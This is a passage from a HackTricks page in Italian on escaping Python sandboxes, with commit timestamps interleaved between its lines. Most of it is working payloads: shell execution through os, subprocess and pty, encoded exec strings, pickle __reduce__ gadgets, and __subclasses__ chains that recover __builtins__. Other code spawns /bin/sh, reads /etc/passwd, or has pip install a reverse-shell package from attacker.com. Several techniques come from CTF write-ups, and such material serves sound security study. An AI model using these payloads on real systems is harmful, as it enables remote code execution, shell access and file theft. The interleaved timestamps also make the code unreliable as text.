2024-07-18 22:12:19 +00:00
# Bypass Python sandboxes
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
{% hint style="success" %}
2024-10-01 14:36:02 +00:00
Learn & practice AWS Hacking:< img src = "../../../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)** ](https://training.hacktricks.xyz/courses/arte )< img src = "../../../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "../../../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line"> ](https://training.hacktricks.xyz/courses/grte )
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 22:12:19 +00:00
< summary > Support HackTricks< / summary >
2023-12-30 21:49:23 +01:00
2024-07-18 22:12:19 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:12:19 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-10-01 14:36:02 +00:00
Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
2020-07-15 15:43:14 +00:00
2024-03-09 13:16:23 +00:00
## Librerie di Esecuzione Comandi
2020-07-15 15:43:14 +00:00
2024-09-04 13:32:48 +00:00
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se puoi importare una di queste librerie:
2020-07-15 15:43:14 +00:00
```python
os.system("ls")
os.popen("ls").read()
2024-02-10 13:03:23 +00:00
commands.getstatusoutput("ls")
2020-07-15 15:43:14 +00:00
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
2021-02-03 23:03:54 +00:00
platform.os.system("ls")
2021-10-06 00:19:16 +00:00
pdb.os.system("ls")
2020-07-15 15:43:14 +00:00
2021-06-24 23:53:47 +00:00
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
2020-07-15 15:43:14 +00:00
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
2021-06-24 23:53:47 +00:00
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:12:19 +00:00
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della sandbox python e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
2020-07-15 15:43:14 +00:00
2021-06-24 23:53:47 +00:00
{% hint style="danger" %}
2024-07-18 22:12:19 +00:00
La funzione **input()** di Python2 consente di eseguire codice python prima che il programma si arresti.
2021-06-24 23:53:47 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-07-18 22:12:19 +00:00
Python cerca di **caricare le librerie dalla directory corrente per prima** (il seguente comando stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
2020-07-15 15:43:14 +00:00
2024-05-05 22:09:41 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 559 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 22:12:19 +00:00
## Bypassare la sandbox pickle con i pacchetti python installati di default
2021-02-05 00:28:18 +00:00
2024-07-18 22:12:19 +00:00
### Pacchetti di default
2021-02-05 00:28:18 +00:00
2024-07-18 22:12:19 +00:00
Puoi trovare un **elenco dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html ](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html )\
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
2024-10-01 14:36:02 +00:00
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
2021-02-05 00:28:18 +00:00
```python
#Note that here we are importing the pip library so the pickle is created correctly
2022-09-13 03:12:49 +06:00
#however, the victim doesn't even need to have the library installed to execute it
2021-02-05 00:28:18 +00:00
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
2024-02-10 13:03:23 +00:00
def __reduce__ (self):
return (pip.main,(["list"],))
2021-02-05 00:28:18 +00:00
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
2024-07-18 22:12:19 +00:00
Per ulteriori informazioni su come funziona pickle, controlla questo: [https://checkoway.net/musings/pickle/ ](https://checkoway.net/musings/pickle/ )
2021-02-05 00:28:18 +00:00
2024-02-10 13:03:23 +00:00
### Pacchetto Pip
2021-02-05 00:36:31 +00:00
2024-02-10 13:03:23 +00:00
Trucco condiviso da ** @isHaacK **
2021-02-05 00:28:18 +00:00
2024-07-18 22:12:19 +00:00
Se hai accesso a `pip` o `pip.main()` , puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
2021-02-05 00:28:18 +00:00
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
2024-09-04 13:32:48 +00:00
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il proprio IP per la reverse shell** :
2024-04-06 18:35:30 +00:00
2024-05-05 22:09:41 +00:00
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
2021-02-05 00:28:18 +00:00
2021-02-05 08:59:17 +00:00
{% hint style="info" %}
2024-07-18 22:12:19 +00:00
Questo pacchetto si chiama `Reverse` . Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
2021-02-05 08:59:17 +00:00
{% endhint %}
2024-07-18 22:12:19 +00:00
## Eval-ing python code
2020-07-15 15:43:14 +00:00
2022-07-05 11:06:01 +00:00
{% hint style="warning" %}
2024-07-18 22:12:19 +00:00
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
2022-07-05 11:06:01 +00:00
{% endhint %}
2024-09-04 13:32:48 +00:00
Se alcuni caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
2020-07-15 15:43:14 +00:00
```python
exec("print('RCE'); __import__ ('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '< stdin > ', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '< stdin > ', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '< stdin > ', 'exec'))
```
```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
2023-04-14 13:17:09 +02:00
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
2020-07-15 15:43:14 +00:00
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
2024-07-18 22:12:19 +00:00
### Altre librerie che consentono di valutare il codice python
2023-01-22 23:51:23 +00:00
```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__ .__import__("os").system("ls")')
df.query("@pd .io.common.os.popen('ls').read()")
df.query("@pd .read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd .annotations.__class__.__init__.__globals__['__builtins__']['eval' ]('print(1 )')")
```
2024-07-18 22:12:19 +00:00
## Operatori e trucchi brevi
2022-07-05 11:06:01 +00:00
```python
2022-09-13 03:12:49 +06:00
# walrus operator allows generating variable inside a list
2022-07-05 11:06:01 +00:00
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
2024-07-18 22:12:19 +00:00
## Bypassare le protezioni attraverso le codifiche (UTF-7)
2022-07-05 11:06:01 +00:00
2024-07-18 22:12:19 +00:00
In [**questo articolo** ](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy ) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
2023-01-13 17:40:30 +00:00
```python
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
2024-02-10 13:03:23 +00:00
return x
#+AAo-print(open("/flag.txt").read())
2023-01-13 17:40:30 +00:00
""".lstrip()
```
2024-07-18 22:12:19 +00:00
È anche possibile eluderlo utilizzando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape` .
2023-01-13 17:40:30 +00:00
2024-02-10 13:03:23 +00:00
## Esecuzione di Python senza chiamate
2022-07-03 20:38:21 +00:00
2024-07-18 22:12:19 +00:00
Se sei all'interno di una prigione python che **non ti consente di effettuare chiamate** , ci sono ancora alcuni modi per **eseguire funzioni, codice** e **comandi arbitrari** .
2022-07-03 20:38:21 +00:00
2024-02-10 13:03:23 +00:00
### RCE con [decoratori](https://docs.python.org/3/glossary.html#term-decorator)
2022-07-03 20:38:21 +00:00
```python
2022-07-05 10:47:46 +00:00
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
2024-02-10 13:03:23 +00:00
pass
2022-07-05 10:47:46 +00:00
# The previous code is equivalent to:
class X:
2024-02-10 13:03:23 +00:00
pass
2022-07-05 10:47:46 +00:00
X = input(X)
X = exec(X)
2022-09-13 03:12:49 +06:00
# So just send your python code when prompted and it will be executed
2022-07-05 10:47:46 +00:00
# Another approach without calling input:
2022-07-03 20:38:21 +00:00
@eval
@'__import__("os").system("sh")'.format
class _:pass
```
2024-07-18 22:12:19 +00:00
### RCE creando oggetti e sovraccarico
2022-07-03 20:38:21 +00:00
2024-07-18 22:12:19 +00:00
Se puoi **dichiarare una classe** e **creare un oggetto** di quella classe, potresti **scrivere/sovrascrivere diversi metodi** che possono essere **attivati** **senza** **doverli chiamare direttamente** .
2022-07-05 10:47:46 +00:00
2024-02-10 13:03:23 +00:00
#### RCE con classi personalizzate
2022-07-02 18:05:33 +00:00
2024-07-18 22:12:19 +00:00
Puoi modificare alcuni **metodi di classe** (_sovrascrivendo metodi di classe esistenti o creando una nuova classe_) per farli **eseguire codice arbitrario** quando **attivati** senza chiamarli direttamente.
2022-07-02 18:05:33 +00:00
```python
2022-09-13 03:12:49 +06:00
# This class has 3 different ways to trigger RCE without directly calling any function
2022-07-05 10:47:46 +00:00
class RCE:
2024-02-10 13:03:23 +00:00
def __init__ (self):
self += "print('Hello from __init__ + __iadd__ ')"
__iadd__ = exec #Triggered when object is created
def __del__ (self):
self -= "print('Hello from __del__ + __isub__ ')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[< argument > ]
__add__ = exec #Triggered with obj + < argument >
2022-07-05 10:47:46 +00:00
2022-07-05 11:06:01 +00:00
# These lines abuse directly the previous class to get RCE
2022-07-05 10:49:47 +00:00
rce = RCE() #Later we will see how to create objects without calling the constructor
2022-07-05 10:47:46 +00:00
rce["print('Hello from __getitem__ ')"]
rce + "print('Hello from __add__ ')"
2022-07-05 10:49:47 +00:00
del rce
2022-07-05 10:47:46 +00:00
2022-07-05 11:06:01 +00:00
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
2022-07-05 10:47:46 +00:00
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k < = 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k ** = 'import os; os.system("sh")')
__ilshift__ (k< < = 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
2024-02-10 13:03:23 +00:00
#### Creazione di oggetti con [metaclassi](https://docs.python.org/3/reference/datamodel.html#metaclasses)
2022-07-05 10:47:46 +00:00
2024-07-18 22:12:19 +00:00
La cosa fondamentale che le metaclassi ci permettono di fare è **creare un'istanza di una classe, senza chiamare direttamente il costruttore** , creando una nuova classe con la classe target come metaclasse.
2022-07-05 10:47:46 +00:00
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
2022-09-13 03:12:49 +06:00
# This will define the members of the "subclass"
2022-07-05 10:47:46 +00:00
class Metaclass(type):
2024-02-10 13:03:23 +00:00
__getitem__ = exec # So Sub[string] will execute exec(string)
2022-07-05 10:47:46 +00:00
# Note: Metaclass.__class__ == type
2024-02-10 13:03:23 +00:00
2022-07-05 10:47:46 +00:00
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
2024-02-10 13:03:23 +00:00
pass # Nothing special to do
2022-07-05 10:47:46 +00:00
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
2024-02-10 13:03:23 +00:00
#### Creazione di oggetti con eccezioni
2022-07-05 10:47:46 +00:00
2024-07-18 22:12:19 +00:00
Quando viene **attivata un'eccezione** , un oggetto di **Exception** viene **creato** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez** ](https://mobile.twitter.com/\_nag0mez )):
2022-07-05 10:47:46 +00:00
```python
class RCE(Exception):
2024-02-10 13:03:23 +00:00
def __init__ (self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
2022-07-05 10:47:46 +00:00
raise RCE #Generate RCE object
2022-07-02 18:05:33 +00:00
2022-09-13 03:12:49 +06:00
# RCE with __add__ overloading and try/except + raise generated object
2022-07-05 10:47:46 +00:00
class Klecko(Exception):
2024-02-10 13:03:23 +00:00
__add__ = exec
2022-07-05 10:47:46 +00:00
2022-07-02 18:05:33 +00:00
try:
2024-02-10 13:03:23 +00:00
raise Klecko
2022-07-02 18:05:33 +00:00
except Klecko as k:
2024-02-10 13:03:23 +00:00
k + 'import os; os.system("sh")' #RCE abusing __add__
2022-07-05 10:47:46 +00:00
## You can also use the tricks from the previous section to get RCE with this object
```
2024-07-18 22:12:19 +00:00
### Maggiore RCE
2022-07-05 10:47:46 +00:00
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
2024-02-10 13:03:23 +00:00
def __init__ (self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
2022-07-05 10:47:46 +00:00
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
2024-02-10 13:03:23 +00:00
# The interpreter will try to import an apt-specific module to potentially
2022-07-05 10:47:46 +00:00
# report an error in ubuntu-provided modules.
2022-09-13 03:12:49 +06:00
# Therefore the __import__ functions are overwritten with our RCE
2022-07-05 10:47:46 +00:00
class X():
2024-02-10 13:03:23 +00:00
def __init__ (self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
2022-07-05 10:47:46 +00:00
__builtins__.__import__ = X
{}[1337]
2022-07-02 18:05:33 +00:00
```
2024-07-18 22:12:19 +00:00
### Leggi il file con l'aiuto e la licenza dei builtins
2022-07-03 20:38:21 +00:00
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__ .help
a.__class__.__enter__ = __builtins__ .__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
2024-02-10 13:03:23 +00:00
pass
2022-07-03 20:38:21 +00:00
```
2024-07-18 22:12:19 +00:00
## Builtins
2020-07-15 15:43:14 +00:00
2024-07-18 22:12:19 +00:00
* [**Funzioni builtins di python2** ](https://docs.python.org/2/library/functions.html )
* [**Funzioni builtins di python3** ](https://docs.python.org/3/library/functions.html )
2020-07-15 15:43:14 +00:00
2024-09-04 13:32:48 +00:00
Se puoi accedere all'oggetto ** `__builtins__` ** puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione di stringa mostrata nell'ultima sezione):
2020-07-15 15:43:14 +00:00
```python
2021-10-06 00:19:16 +00:00
__builtins__.__import__("os").system("ls")
2020-07-15 15:43:14 +00:00
__builtins__.__dict__['__import__' ]("os" ).system("ls")
```
2024-07-18 22:12:19 +00:00
### No Builtins
2020-07-15 15:43:14 +00:00
2024-07-18 22:12:19 +00:00
Quando non hai `__builtins__` , non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open` , `import` , `print` ...) **non sono caricate** .\
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria** . Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario** .
2021-06-24 23:53:47 +00:00
2024-07-18 22:12:19 +00:00
Nei seguenti esempi puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
2020-07-15 15:43:14 +00:00
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40 ]('/etc/passwd' ).read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40 ]('/var/www/html/input', 'w' ).write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__' ]('os' ).system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system' ]('ls' )
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval" ]("__import__('os' ).system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__' ]("os" ).system("ls")
```
2024-03-09 13:16:23 +00:00
#### Python3
2020-07-15 15:43:14 +00:00
```python
2021-10-04 11:09:20 +00:00
# Obtain builtins from a globally defined function
2022-05-01 13:41:36 +01:00
# https://docs.python.org/3/library/functions.html
2023-11-05 19:13:54 +01:00
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
2021-10-04 11:09:20 +00:00
print.__self__
dir.__self__
globals.__self__
2021-10-06 00:19:16 +00:00
len.__self__
2023-11-05 19:13:54 +01:00
__build_class__.__self__
2021-01-18 08:31:03 +00:00
2021-10-04 11:09:20 +00:00
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
2021-06-24 23:53:47 +00:00
2022-09-13 03:12:49 +06:00
# Get builtins from loaded classes
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
2021-01-18 08:31:03 +00:00
```
2024-07-18 22:12:19 +00:00
[**Di seguito c'è una funzione più grande** ](./#recursive-search-of-builtins-globals ) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins** .
2021-01-18 08:31:03 +00:00
2024-02-10 13:03:23 +00:00
#### Python2 e Python3
2021-01-18 08:31:03 +00:00
```python
2022-09-13 03:12:49 +06:00
# Recover __builtins__ and make everything easier
2021-10-06 00:19:16 +00:00
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
2021-01-18 08:31:03 +00:00
__builtins__["__import__" ]('os' ).system('ls')
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:12:19 +00:00
### Payloads builtins
2021-10-04 11:09:20 +00:00
```python
# Possible payloads once you have found the builtins
2022-11-05 10:56:30 +00:00
__builtins__["open" ]("/etc/passwd" ).read()
__builtins__["__import__" ]("os" ).system("ls")
2022-09-13 03:12:49 +06:00
# There are lots of other payloads that can be abused to execute commands
2021-10-06 00:19:16 +00:00
# See them below
2021-10-04 11:09:20 +00:00
```
2024-07-18 22:12:19 +00:00
## Globals e locals
2021-10-04 11:09:20 +00:00
2024-07-18 22:12:19 +00:00
Controllare i ** `globals` ** e ** `locals` ** è un buon modo per sapere a cosa puoi accedere.
2021-06-25 13:52:40 +00:00
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': < class ' _frozen_importlib . BuiltinImporter ' > , '__spec__': None, '__annotations__': {}, '__builtins__': < module ' builtins ' ( built-in ) > , 'attr': < module ' attr ' from ' / usr / local / lib / python3 . 9 / site-packages / attr . py ' > , 'a': < class ' importlib . abc . Finder ' > , 'b': < class ' importlib . abc . MetaPathFinder ' > , 'c': < class ' str ' > , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', < class ' DeprecationWarning ' > , 1): True}, 'z': < class ' str ' > }
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': < class ' _frozen_importlib . BuiltinImporter ' > , '__spec__': None, '__annotations__': {}, '__builtins__': < module ' builtins ' ( built-in ) > , 'attr': < module ' attr ' from ' / usr / local / lib / python3 . 9 / site-packages / attr . py ' > , 'a': < class ' importlib . abc . Finder ' > , 'b': < class ' importlib . abc . MetaPathFinder ' > , 'c': < class ' str ' > , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', < class ' DeprecationWarning ' > , 1): True}, 'z': < class ' str ' > }
2021-10-06 00:19:16 +00:00
# Obtain globals from a defined function
get_flag.__globals__
2021-10-06 09:50:35 +00:00
# Obtain globals from an object of a class
class_obj.__init__.__globals__
2021-10-06 00:19:16 +00:00
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[< class ' function ' > ]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[< class ' _frozen_importlib . _ModuleLock ' > , < class ' _frozen_importlib . _DummyModuleLock ' > , < class ' _frozen_importlib . _ModuleLockManager ' > , < class ' _frozen_importlib . ModuleSpec ' > , < class ' _frozen_importlib_external . FileLoader ' > , < class ' _frozen_importlib_external . _NamespacePath ' > , < class ' _frozen_importlib_external . _NamespaceLoader ' > , < class ' _frozen_importlib_external . FileFinder ' > , < class ' zipimport . zipimporter ' > , < class ' zipimport . _ZipImportResourceReader ' > , < class ' codecs . IncrementalEncoder ' > , < class ' codecs . IncrementalDecoder ' > , < class ' codecs . StreamReaderWriter ' > , < class ' codecs . StreamRecoder ' > , < class ' os . _wrap_close ' > , < class ' _sitebuiltins . Quitter ' > , < class ' _sitebuiltins . _Printer ' > , < class ' types . DynamicClassAttribute ' > , < class ' types . _GeneratorWrapper ' > , < class ' warnings . WarningMessage ' > , < class ' warnings . catch_warnings ' > , < class ' reprlib . Repr ' > , < class ' functools . partialmethod ' > , < class ' functools . singledispatchmethod ' > , < class ' functools . cached_property ' > , < class ' contextlib . _GeneratorContextManagerBase ' > , < class ' contextlib . _BaseExitStack ' > , < class ' sre_parse . State ' > , < class ' sre_parse . SubPattern ' > , < class ' sre_parse . Tokenizer ' > , < class ' re . Scanner ' > , < class ' rlcompleter . Completer ' > , < class ' dis . Bytecode ' > , < class ' string . Template ' > , < class ' cmd . Cmd ' > , < class ' tokenize . Untokenizer ' > , < class ' inspect . BlockFinder ' > , < class ' inspect . Parameter ' > , < class ' inspect . BoundArguments ' > , < class ' inspect . Signature ' > , < class ' bdb . Bdb ' > , < class ' bdb . Breakpoint ' > , < class ' traceback . FrameSummary ' > , < class ' traceback . TracebackException ' > , < class ' __future__ . _Feature ' > , < class ' codeop . Compile ' > , < class ' codeop . CommandCompiler ' > , < class ' code . InteractiveInterpreter ' > , < class ' pprint . _safe_key ' > , < class ' pprint . PrettyPrinter ' > , < class ' _weakrefset . _IterationGuard ' > , < class ' _weakrefset . WeakSet ' > , < class ' threading . _RLock ' > , < class ' threading . Condition ' > , < class ' threading . Semaphore ' > , < class ' threading . Event ' > , < class ' threading . Barrier ' > , < class ' threading . Thread ' > , < class ' subprocess . CompletedProcess ' > , < class ' subprocess . Popen ' > ]
2022-05-01 13:41:36 +01:00
# Without the use of the dir() function
2021-10-06 00:19:16 +00:00
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[< class ' _frozen_importlib . _ModuleLock ' > , < class ' _frozen_importlib . _DummyModuleLock ' > , < class ' _frozen_importlib . _ModuleLockManager ' > , < class ' _frozen_importlib . ModuleSpec ' > , < class ' _frozen_importlib_external . FileLoader ' > , < class ' _frozen_importlib_external . _NamespacePath ' > , < class ' _frozen_importlib_external . _NamespaceLoader ' > , < class ' _frozen_importlib_external . FileFinder ' > , < class ' zipimport . zipimporter ' > , < class ' zipimport . _ZipImportResourceReader ' > , < class ' codecs . IncrementalEncoder ' > , < class ' codecs . IncrementalDecoder ' > , < class ' codecs . StreamReaderWriter ' > , < class ' codecs . StreamRecoder ' > , < class ' os . _wrap_close ' > , < class ' _sitebuiltins . Quitter ' > , < class ' _sitebuiltins . _Printer ' > , < class ' types . DynamicClassAttribute ' > , < class ' types . _GeneratorWrapper ' > , < class ' warnings . WarningMessage ' > , < class ' warnings . catch_warnings ' > , < class ' reprlib . Repr ' > , < class ' functools . partialmethod ' > , < class ' functools . singledispatchmethod ' > , < class ' functools . cached_property ' > , < class ' contextlib . _GeneratorContextManagerBase ' > , < class ' contextlib . _BaseExitStack ' > , < class ' sre_parse . State ' > , < class ' sre_parse . SubPattern ' > , < class ' sre_parse . Tokenizer ' > , < class ' re . Scanner ' > , < class ' rlcompleter . Completer ' > , < class ' dis . Bytecode ' > , < class ' string . Template ' > , < class ' cmd . Cmd ' > , < class ' tokenize . Untokenizer ' > , < class ' inspect . BlockFinder ' > , < class ' inspect . Parameter ' > , < class ' inspect . BoundArguments ' > , < class ' inspect . Signature ' > , < class ' bdb . Bdb ' > , < class ' bdb . Breakpoint ' > , < class ' traceback . FrameSummary ' > , < class ' traceback . TracebackException ' > , < class ' __future__ . _Feature ' > , < class ' codeop . Compile ' > , < class ' codeop . CommandCompiler ' > , < class ' code . InteractiveInterpreter ' > , < class ' pprint . _safe_key ' > , < class ' pprint . PrettyPrinter ' > , < class ' _weakrefset . _IterationGuard ' > , < class ' _weakrefset . WeakSet ' > , < class ' threading . _RLock ' > , < class ' threading . Condition ' > , < class ' threading . Semaphore ' > , < class ' threading . Event ' > , < class ' threading . Barrier ' > , < class ' threading . Thread ' > , < class ' subprocess . CompletedProcess ' > , < class ' subprocess . Popen ' > ]
2021-06-25 13:52:40 +00:00
```
2024-07-18 22:12:19 +00:00
[**Di seguito c'è una funzione più grande** ](./#recursive-search-of-builtins-globals ) per trovare decine/**centinaia** di **posti** dove puoi trovare i **globals** .
## Scoprire Esecuzione Arbitraria
2021-10-06 00:19:16 +00:00
2024-02-10 13:03:23 +00:00
Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.
2021-06-24 23:53:47 +00:00
2024-07-18 22:12:19 +00:00
#### Accesso a sottoclassi con bypass
2021-06-25 13:39:46 +00:00
2024-07-18 22:12:19 +00:00
Una delle parti più sensibili di questa tecnica è essere in grado di **accedere alle sottoclassi di base** . Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili** :
